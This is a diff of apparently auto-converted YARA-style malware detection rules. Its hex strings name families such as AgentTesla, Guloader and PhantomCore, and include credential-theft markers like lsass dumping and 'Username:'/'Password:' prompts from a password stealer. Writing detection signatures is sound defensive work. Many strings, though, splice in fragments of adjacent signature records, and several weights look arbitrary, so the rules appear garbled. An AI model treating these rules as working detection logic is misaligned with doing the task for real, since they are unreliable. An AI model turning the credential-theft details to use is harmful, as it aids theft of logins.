{69 6e 33 32 2f 4b 72 61 64 64 61 72 65 00 01 00 3b 01 73 69 67 6e 6b 65 79 33 36 39 00 00 54 73 69 67 6e 6b 65 79 5f 66 6f 72 6d 00 00 00 69 65 73 69 67 6e 6b 65 79 39 36 33 00 00 00 00 54 69 65 73 69 67 6e 6b 65 79 5f 66 6f 72 6d 01 00 2a 01 77 77 77 2e 66 69 6e 64 6c 6f 63 6b 2e 63 6f 2e 6b 72 2f 61 } //29281 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_3a_2 & 1)*29281) >=3 + +} +rule _InfrastructureShared_13854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -145968,7 +155686,7 @@ rule _InfrastructureShared_13003{ ((#a_77_0 & 1)*16675+(#a_2f_1 & 1)*27438) >=3 } -rule _InfrastructureShared_13004{ +rule _InfrastructureShared_13855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -145979,7 +155697,7 @@ rule _InfrastructureShared_13004{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*77) >=3 } -rule _InfrastructureShared_13005{ +rule _InfrastructureShared_13856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -145990,7 +155708,7 @@ rule _InfrastructureShared_13005{ ((#a_54_0 & 1)*18467+(#a_6f_2 & 1)*5669) >=3 } -rule _InfrastructureShared_13006{ +rule _InfrastructureShared_13857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -146001,7 +155719,7 @@ rule _InfrastructureShared_13006{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*0) >=3 } -rule _InfrastructureShared_13007{ +rule _InfrastructureShared_13858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -146013,20 +155731,20 @@ rule _InfrastructureShared_13007{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*32+(#a_73_3 & 1)*28530) >=3 } -rule _InfrastructureShared_13008{ +rule _InfrastructureShared_13859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 4d 65 74 65 69 74 5f 47 00 02 00 1e 01 7e 1c 8b 7c 24 14 8b f5 2b fd 8a 04 37 6a 02 50 e8 8e ff ff ff 83 c4 08 88 06 46 4b 75 ec 02 00 1d 01 8b 44 24 04 8b 4c 24 08 25 ff 00 00 00 85 c9 7e 0c d1 e0 f6 c4 01 74 02 0c 01 49 75 f4 02 00 25 01 c1 e9 02 f3 ab 8b ca 55 83 e1 03 f3 aa 8b 3b 8b cd 8b } //19491 $a_02_1 = {f3 a5 8b c8 83 e1 03 f3 a4 8b 4c 24 20 51 e8 01 00 17 01 2f 53 70 79 6e 65 74 52 65 70 6f 72 74 53 72 76 63 2e 61 73 6d 78 00 01 00 0d 01 2f 6d 6f 6b 2f 73 65 74 2e 70 68 70 00 00 00 78 bc 00 00 03 00 03 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4e 6f 74 69 64 61 77 2e 41 00 01 00 0a 01 6f 76 32 39 48 38 42 4f 35 6a 01 00 0a 01 5a 51 55 70 68 53 76 62 4b 48 01 00 0a 01 34 50 55 55 62 35 32 52 61 75 01 00 0a 01 4d 45 58 41 77 48 41 6f 73 39 01 00 0a 01 69 61 53 47 47 30 46 30 63 6a 01 00 0a 01 35 33 33 57 46 4c 36 61 6a 61 01 00 0a 01 76 41 76 5a 64 54 42 49 59 61 01 00 0a 01 70 59 44 53 62 4d 64 48 6d 4e 01 00 0a 01 64 77 4d 4b 74 77 } //-15935 - $a_47_2 = {00 0a 01 55 2f 4d 48 43 2f 56 6c 6e 6f 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 41 72 63 68 65 67 69 53 50 00 01 00 12 01 69 00 53 00 61 00 66 00 65 00 53 00 76 00 63 00 32 00 01 00 29 03 5c 42 75 69 6c 64 5c 69 73 61 66 65 5c 62 72 61 6e 63 68 65 73 5c 90 02 0f 5c 62 69 6e } //29782 - $a_76_3 = {32 2e 70 64 62 90 00 01 00 2c 01 74 00 62 00 6c 00 5f 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 5f 00 46 00 6f 00 72 00 62 00 69 00 64 00 50 00 72 00 6f 00 63 00 01 00 16 01 5c 00 59 00 41 00 43 00 5c 00 64 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //26972 + $a_47_2 = {00 0a 01 55 2f 4d 48 43 2f 56 6c 6e 6f 00 00 78 bc 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4c 49 21 4d 54 42 00 02 00 39 03 01 00 06 25 26 0a 06 1a 28 90 01 01 00 00 06 28 90 01 01 00 00 06 25 26 0b 28 90 01 01 00 00 06 0c 07 08 28 90 01 01 01 00 06 08 28 90 01 01 00 00 06 25 26 0d } //29782 + $a_00_3 = {02 00 4e 03 25 26 25 d0 90 01 01 00 00 04 28 90 01 01 00 00 06 0a 1f 34 28 90 01 01 00 00 06 25 26 28 90 01 01 00 00 06 0b 07 1f 47 28 90 01 01 00 00 06 25 26 28 90 01 01 00 00 06 25 26 0c 08 7e 45 00 00 0a 28 90 01 01 00 00 06 25 26 2c 22 90 00 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 41 72 63 68 65 67 69 53 50 00 01 00 12 01 69 00 53 00 61 00 66 } //15326 condition: - ((#a_77_0 & 1)*19491+(#a_02_1 & 1)*-15935+(#a_47_2 & 1)*29782+(#a_76_3 & 1)*26972) >=3 + ((#a_77_0 & 1)*19491+(#a_02_1 & 1)*-15935+(#a_47_2 & 1)*29782+(#a_00_3 & 1)*15326) >=3 } -rule _InfrastructureShared_13009{ +rule _InfrastructureShared_13860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -146034,17 +155752,28 @@ rule _InfrastructureShared_13009{ $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4e 6f 74 69 64 61 77 2e 41 00 01 00 0a 01 6f 76 32 39 48 38 42 4f 35 6a 01 00 0a 01 5a 51 55 70 68 53 76 62 4b 48 01 00 0a 01 34 50 55 55 62 35 32 52 61 75 01 00 0a 01 4d 45 58 } //18467 $a_41_1 = {73 39 01 00 0a 01 69 61 53 47 47 30 46 30 63 6a 01 00 0a 01 35 33 33 57 46 4c 36 61 6a 61 01 00 0a 01 76 41 76 5a 64 54 42 49 59 61 01 00 0a 01 70 59 44 53 62 4d 64 48 6d 4e 01 00 0a 01 64 77 4d 4b 74 77 56 74 77 47 } //30529 $a_01_2 = {55 2f 4d 48 43 2f 56 6c 6e 6f } //1 U/MHC/Vlno - $a_bc_3 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 41 72 63 68 65 67 69 53 50 00 01 00 12 01 69 00 53 00 61 00 66 00 65 00 53 00 76 00 63 00 32 00 01 00 29 03 5c 42 75 69 6c 64 5c 69 73 61 66 65 5c 62 72 61 6e 63 68 65 73 5c 90 02 0f 5c 62 69 6e 5c 69 53 76 63 32 2e 70 64 62 90 00 01 00 2c 01 74 00 62 } //0 - $a_00_5 = {6f 00 74 00 65 00 63 00 74 00 5f 00 46 00 6f 00 72 00 62 00 69 00 64 00 50 00 72 00 6f 00 63 00 01 00 16 01 5c 00 59 00 41 00 43 00 5c 00 64 00 6c 00 2e 00 65 00 78 00 65 00 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 55 30 30 35 35 21 4d 54 42 00 } //80 - $a_03_6 = {08 11 07 07 11 07 9a 1f 10 28 ?? ?? ?? ?? 6f ?? ?? ?? ?? 00 11 07 17 58 13 07 11 07 07 8e 69 fe 04 13 08 11 08 2d d9 } //1 - $a_81_7 = {46 72 61 6d 65 77 6f 72 6b 45 6e 74 69 74 79 2e 4d 4e 42 56 42 2e 72 65 73 6f 75 72 63 65 73 } //1 FrameworkEntity.MNBVB.resources - $a_81_8 = {24 38 66 35 62 37 39 66 39 2d 66 62 37 61 2d 34 34 64 32 2d 61 64 63 38 2d 38 36 64 34 34 39 34 64 61 64 63 62 } //1 $8f5b79f9-fb7a-44d2-adc8-86d4494dadcb - $a_81_9 = {53 74 72 52 65 76 65 72 73 65 } //1 StrReverse + $a_bc_3 = {00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4c 49 21 4d 54 42 00 02 00 39 03 01 00 06 25 26 0a 06 1a 28 90 01 01 00 00 06 28 90 01 01 00 00 06 25 26 0b 28 90 01 01 00 00 06 0c 07 08 28 90 01 01 01 00 06 08 28 90 01 01 00 00 06 25 26 0d de 3b 90 00 02 00 4e 03 25 26 25 d0 90 01 01 00 00 04 28 } //0 + $a_00_4 = {00 } //400 + $a_34_5 = {90 01 01 00 00 06 25 26 28 90 01 01 00 00 06 0b 07 1f 47 28 90 01 01 00 00 06 25 26 28 90 01 } //2566 + $a_08_7 = {7e 45 00 00 0a 28 90 01 01 00 00 06 } //9765 + $a_22_8 = {00 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 41 72 } //9765 + $a_67_9 = {53 50 00 01 00 12 01 69 00 53 00 61 00 66 00 65 00 53 00 76 00 63 00 32 00 01 00 29 03 5c 42 75 69 6c 64 5c 69 73 61 66 65 5c 62 72 61 6e 63 68 65 73 5c 90 02 0f 5c 62 69 6e 5c 69 53 76 63 32 2e 70 64 62 90 00 01 00 2c 01 74 00 62 00 6c 00 5f 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 5f 00 46 00 6f } //26723 condition: - ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*30529+(#a_01_2 & 1)*1+(#a_bc_3 & 1)*0+(#a_00_5 & 1)*80+(#a_03_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=3 + ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*30529+(#a_01_2 & 1)*1+(#a_bc_3 & 1)*0+(#a_00_4 & 1)*400+(#a_34_5 & 1)*2566+(#a_08_7 & 1)*9765+(#a_22_8 & 1)*9765+(#a_67_9 & 1)*26723) >=3 } -rule _InfrastructureShared_13010{ +rule _InfrastructureShared_13861{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 4c 49 21 4d 54 42 00 02 00 39 03 01 00 06 25 26 0a 06 1a 28 90 01 01 00 00 06 28 90 01 01 00 00 06 25 26 0b 28 90 01 01 00 00 06 0c 07 } //21539 + $a_01_1 = {01 01 00 06 08 28 90 01 01 00 00 06 25 26 0d de 3b 90 00 02 00 4e 03 25 26 25 d0 90 01 01 00 00 04 28 90 01 01 00 00 06 0a 1f 34 28 90 01 01 00 00 06 25 26 28 90 01 01 00 00 06 0b 07 1f 47 28 90 01 01 00 00 06 25 26 28 90 01 01 00 00 06 25 26 0c 08 7e 45 00 00 0a 28 90 01 01 00 00 06 25 26 2c 22 90 00 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 41 72 } //10248 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*10248) >=4 + +} +rule _InfrastructureShared_13862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146057,20 +155786,32 @@ rule _InfrastructureShared_13010{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*23567+(#a_53_2 & 1)*8993+(#a_08_3 & 1)*1278) >=4 } -rule _InfrastructureShared_13011{ +rule _InfrastructureShared_13863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 49 55 30 30 35 35 21 4d 54 42 00 01 00 27 03 08 11 07 07 11 07 9a 1f 10 28 90 01 04 6f 90 01 04 00 11 07 17 58 13 07 11 07 07 8e 69 fe 04 13 08 11 08 2d d9 90 00 01 00 } //18467 $a_46_1 = {61 } //-32481 a - $a_6f_2 = {6b 45 6e 74 69 74 79 2e 4d 4e 42 56 42 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 38 66 35 62 37 39 66 39 2d 66 62 37 61 2d 34 34 64 32 2d 61 64 63 38 2d 38 36 64 34 34 39 34 64 61 64 63 62 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 4b 31 } //25965 - $a_4d_3 = {42 00 01 00 26 81 01 73 79 6d 62 6f 6c 6f 67 72 61 70 68 79 20 70 72 6f 6a 65 6b 74 69 6f 6e 65 6e } //13106 + $a_6f_2 = {6b 45 6e 74 69 74 79 2e 4d 4e 42 56 42 2e 72 65 73 6f 75 72 63 65 73 01 00 25 81 01 24 38 66 35 62 37 39 66 39 2d 66 62 37 61 2d 34 34 64 32 2d 61 64 63 38 2d 38 36 64 34 34 39 34 64 61 64 63 62 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4d 30 31 } //25965 + $a_42_3 = {01 00 1a 81 01 6d 65 74 61 6e 79 6d 20 74 69 73 6b 65 64 65 73 20 6c 67 65 75 72 74 65 72 73 01 00 16 81 01 72 79 6f 74 73 20 73 65 6d 69 63 61 72 64 69 6e 61 6c 2e 65 78 65 01 00 2e 81 01 6e 73 6b 65 66 6f 72 65 73 74 69 6c 6c 69 6e 67 65 72 6e 65 73 } //19745 condition: - ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*-32481+(#a_6f_2 & 1)*25965+(#a_4d_3 & 1)*13106) >=4 + ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*-32481+(#a_6f_2 & 1)*25965+(#a_42_3 & 1)*19745) >=4 } -rule _InfrastructureShared_13012{ +rule _InfrastructureShared_13864{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4d 30 31 21 4d 54 42 00 01 00 1a 81 01 6d 65 74 61 6e 79 6d 20 74 69 73 6b 65 64 65 73 20 6c 67 65 75 72 74 65 72 73 01 00 16 81 01 72 79 6f 74 73 20 73 65 6d 69 63 61 72 64 69 6e 61 6c 2e 65 78 } //18467 + $a_6b_2 = {66 6f 72 65 73 74 69 6c 6c 69 6e 67 65 72 6e 65 73 20 6f 70 6d 61 72 63 68 66 65 6c 74 65 74 20 68 61 67 65 73 6d 6b 6b 65 72 01 00 22 81 01 62 6c 6f 64 70 72 6f 70 70 65 72 20 64 65 6b 6c 61 6d 61 74 69 6f 6e 20 61 6e 61 73 74 72 6f 70 68 65 00 00 78 bc 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e } //28161 + $a_4b_3 = {32 33 21 4d 54 42 00 01 00 26 81 01 73 79 6d 62 6f 6c 6f 67 72 61 70 68 79 20 70 72 6f 6a 65 6b 74 69 6f 6e 65 6e 73 20 6c 65 6f 70 61 72 64 69 6e 65 01 00 19 81 01 73 74 61 72 74 67 74 20 6b 72 79 62 } //17227 + condition: + ((#a_54_0 & 1)*18467+(#a_6b_2 & 1)*28161+(#a_4b_3 & 1)*17227) >=4 + +} +rule _InfrastructureShared_13865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146083,7 +155824,7 @@ rule _InfrastructureShared_13012{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*27424+(#a_65_2 & 1)*24943+(#a_68_3 & 1)*25601) >=4 } -rule _InfrastructureShared_13013{ +rule _InfrastructureShared_13866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146095,7 +155836,7 @@ rule _InfrastructureShared_13013{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*28532+(#a_6d_2 & 1)*12084) >=4 } -rule _InfrastructureShared_13014{ +rule _InfrastructureShared_13867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -146107,7 +155848,7 @@ rule _InfrastructureShared_13014{ ((#a_46_0 & 1)*21283+(#a_c0_1 & 1)*1025+(#a_65_3 & 1)*384) >=4 } -rule _InfrastructureShared_13015{ +rule _InfrastructureShared_13868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -146120,20 +155861,35 @@ rule _InfrastructureShared_13015{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25632+(#a_00_2 & 1)*0+(#a_53_3 & 1)*8993) >=4 } -rule _InfrastructureShared_13016{ +rule _InfrastructureShared_13869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 75 7a 6c 69 63 65 2e 42 00 01 00 1a 01 41 00 46 00 54 00 45 00 52 00 44 00 4f 00 57 00 4e 00 4c 00 4f 00 41 00 44 00 01 00 14 01 43 00 4c 00 49 00 43 00 4b 00 4e 00 4f 00 4e 00 45 00 57 00 01 00 12 01 50 } //18467 - $a_00_2 = {63 00 65 00 72 00 3d 00 01 00 16 01 73 00 69 00 64 00 3d 00 31 00 26 00 76 00 69 00 64 00 3d 00 30 00 01 00 2c 01 55 00 73 00 65 00 72 00 2d 00 41 00 67 00 65 00 6e 00 74 00 3a 00 20 00 43 00 41 00 20 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 32 00 00 00 78 bc 00 00 04 00 04 00 07 00 21 23 42 4d 5f 41 54 5f 63 72 79 } //108 - $a_74_3 = {69 6e 50 73 77 00 01 00 0f 01 5b 2d 2d 3e 5d 20 55 73 65 72 6e 61 6d 65 3a 01 00 0f 01 5b 2d 2d 3e 5d 20 50 61 73 73 77 6f 72 64 3a 01 00 0f 01 5c 67 65 74 5f 6c 73 61 73 73 5f 65 78 65 5c 01 00 0e 01 5c 47 65 74 57 69 6e 50 73 77 2e 70 64 62 01 00 16 01 5b 2a 5d 20 6c 73 61 73 73 2e 65 78 65 20 66 6f } //18234 - $a_20_4 = {74 01 00 27 01 5b 2a 5d 20 43 72 65 64 65 6e 74 69 61 6c 73 20 69 6e 63 6f 6d 69 6e 67 2e 2e 2e 20 28 68 6f 70 65 66 75 6c 6c 79 29 01 00 0a 01 5b 78 5d 20 45 72 72 6f 72 3a 00 00 78 bc 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 45 } //28277 + $a_00_2 = {63 00 65 00 72 00 3d 00 01 00 16 01 73 00 69 00 64 00 3d 00 31 00 26 00 76 00 69 00 64 00 3d 00 30 00 01 00 2c 01 55 00 73 00 65 00 72 00 2d 00 41 00 67 00 65 00 6e 00 74 00 3a 00 20 00 43 00 41 00 20 00 30 00 2e 00 30 00 2e 00 30 00 2e 00 32 00 00 00 78 bc 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 } //108 + $a_6f_3 = {69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 37 39 00 01 00 10 80 01 50 44 46 53 6b 69 6c 6c 73 41 70 70 2e 65 78 65 01 00 0c 80 01 50 44 46 53 6b 69 6c 6c 73 41 70 70 01 00 18 80 01 50 44 46 53 6b 69 6c } //29285 + $a_70_4 = {2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 20 80 01 2f 50 44 46 53 6b 69 6c 6c 73 41 70 70 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 61 70 70 2e 78 61 6d 6c 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c } //29548 condition: - ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*108+(#a_74_3 & 1)*18234+(#a_20_4 & 1)*28277) >=4 + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*108+(#a_6f_3 & 1)*29285+(#a_70_4 & 1)*29548) >=4 } -rule _InfrastructureShared_13017{ +rule _InfrastructureShared_13870{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 37 39 00 01 00 10 80 01 50 44 46 53 6b 69 6c 6c 73 41 70 70 2e 65 78 65 01 00 0c 80 01 50 44 46 53 6b 69 6c 6c 73 41 70 70 01 } //16675 + $a_01_1 = {50 44 46 53 6b 69 6c 6c 73 41 70 70 2e 67 2e 72 65 73 6f 75 72 63 65 73 01 00 20 80 01 2f 50 44 46 53 6b 69 6c 6c 73 41 70 70 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 61 70 70 2e 78 61 6d 6c 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 bc 00 00 04 00 04 00 07 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 47 65 74 57 69 6e 50 73 77 00 } //6144 + $a_01_2 = {5b 2d 2d 3e 5d 20 55 73 65 72 6e 61 6d 65 3a } //1 [-->] Username: + $a_01_3 = {5b 2d 2d 3e 5d 20 50 61 73 73 77 6f 72 64 3a } //1 [-->] Password: + $a_01_4 = {5c 67 65 74 5f 6c 73 61 73 73 5f 65 78 65 5c } //1 \get_lsass_exe\ + $a_01_5 = {5c 47 65 74 57 69 6e 50 73 77 2e 70 64 62 } //1 \GetWinPsw.pdb + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*6144+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=4 + +} +rule _InfrastructureShared_13871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -146147,7 +155903,7 @@ rule _InfrastructureShared_13017{ ((#a_5f_0 & 1)*16931+(#a_74_1 & 1)*18268+(#a_52_3 & 1)*21320+(#a_00_5 & 1)*100+(#a_41_6 & 1)*24940) >=4 } -rule _InfrastructureShared_13018{ +rule _InfrastructureShared_13872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -146159,7 +155915,7 @@ rule _InfrastructureShared_13018{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*97+(#a_6f_3 & 1)*21562) >=5 } -rule _InfrastructureShared_13019{ +rule _InfrastructureShared_13873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146173,7 +155929,7 @@ rule _InfrastructureShared_13019{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*9217+(#a_01_2 & 1)*18788+(#a_6e_3 & 1)*29795+(#a_36_4 & 1)*11569) >=5 } -rule _InfrastructureShared_13020{ +rule _InfrastructureShared_13874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146186,7 +155942,7 @@ rule _InfrastructureShared_13020{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*114+(#a_75_3 & 1)*12082+(#a_6c_4 & 1)*385) >=5 } -rule _InfrastructureShared_13021{ +rule _InfrastructureShared_13875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146200,7 +155956,7 @@ rule _InfrastructureShared_13021{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27760+(#a_6f_2 & 1)*30023+(#a_73_3 & 1)*28519+(#a_6e_4 & 1)*27727) >=5 } -rule _InfrastructureShared_13022{ +rule _InfrastructureShared_13876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -146208,27 +155964,42 @@ rule _InfrastructureShared_13022{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 4f 57 31 32 33 21 4d 54 42 00 01 00 14 81 01 65 6d 69 6c 79 73 20 61 72 6e 61 6c 64 6f 20 63 68 61 72 6d 01 00 0a 81 01 6d 65 6c 6c 65 6d 6b 6f 64 65 01 00 21 81 01 61 66 66 65 63 74 75 61 6c 20 } //18467 $a_73_1 = {6c 65 73 68 69 70 20 70 72 65 6f 63 63 75 70 61 6e 74 01 00 1b 81 01 53 6f 66 74 77 61 72 65 5c 67 6f 64 73 65 64 6c 65 72 5c 41 6e 6d 61 73 73 65 73 01 00 1f 81 01 35 5c 50 68 65 6e 69 63 69 6e 65 37 30 5c 69 6e 74 65 72 69 6f 72 69 7a 65 64 2e 55 64 73 22 00 00 78 bc 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //28769 $a_6f_2 = {64 65 72 2e 4b 58 5a 41 31 32 33 21 4d 54 42 00 01 00 0a 81 01 4f 6c 69 6e 20 43 6f 72 70 2e 01 00 1f 81 01 41 6c 6c 6d 65 72 69 63 61 20 46 69 6e 61 6e 63 69 61 6c 20 43 6f 72 70 6f 72 61 74 69 6f 6e 01 00 17 81 01 57 45 53 43 4f 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 49 6e 63 01 00 20 81 01 41 6e 79 20 56 69 64 65 } //30023 - $a_6f_3 = {76 65 72 74 65 72 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 01 00 19 81 01 72 61 64 69 6f 62 6c 67 65 72 6e 65 20 67 61 62 72 69 65 6c 65 2e 65 78 65 00 00 78 bc 00 00 05 00 05 00 07 00 21 23 48 53 54 52 } //8303 - $a_6f_4 = {61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 2e 67 65 6e 21 45 5f 73 74 72 00 01 00 0f 80 01 00 61 70 70 6c 69 63 61 74 69 6f 6e 2f 2a 00 01 00 08 80 01 00 74 65 78 74 2f 2a 00 01 00 13 00 52 74 6c 44 65 63 6f 6d 70 72 65 73 73 42 75 66 66 65 72 01 00 0f 00 25 73 25 73 00 25 73 5c 25 73 00 6f 70 65 6e 01 00 12 } //21562 + $a_6f_3 = {76 65 72 74 65 72 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 01 00 19 81 01 72 61 64 69 6f 62 6c 67 65 72 6e 65 20 67 61 62 72 69 65 6c 65 2e 65 78 65 00 00 78 bc 00 00 05 00 05 00 06 00 21 23 41 4c 46 3a } //8303 + $a_6b_4 = {6f 6f 72 3a 57 69 6e 36 34 2f 50 68 61 6e 74 6f 6d 43 6f 72 65 2e 41 21 64 68 61 00 01 00 1c 01 53 65 6e 64 69 6e 67 20 61 20 70 69 6e 67 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 01 00 0d 01 72 65 71 75 73 74 65 72 20 74 61 73 6b 01 00 1b 01 4d 6f 64 75 6c 65 20 69 6e 73 74 61 6c 6c 20 73 75 63 } //24898 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28769+(#a_6f_2 & 1)*30023+(#a_6f_3 & 1)*8303+(#a_6f_4 & 1)*21562) >=5 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28769+(#a_6f_2 & 1)*30023+(#a_6f_3 & 1)*8303+(#a_6b_4 & 1)*24898) >=5 } -rule _InfrastructureShared_13023{ +rule _InfrastructureShared_13877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : 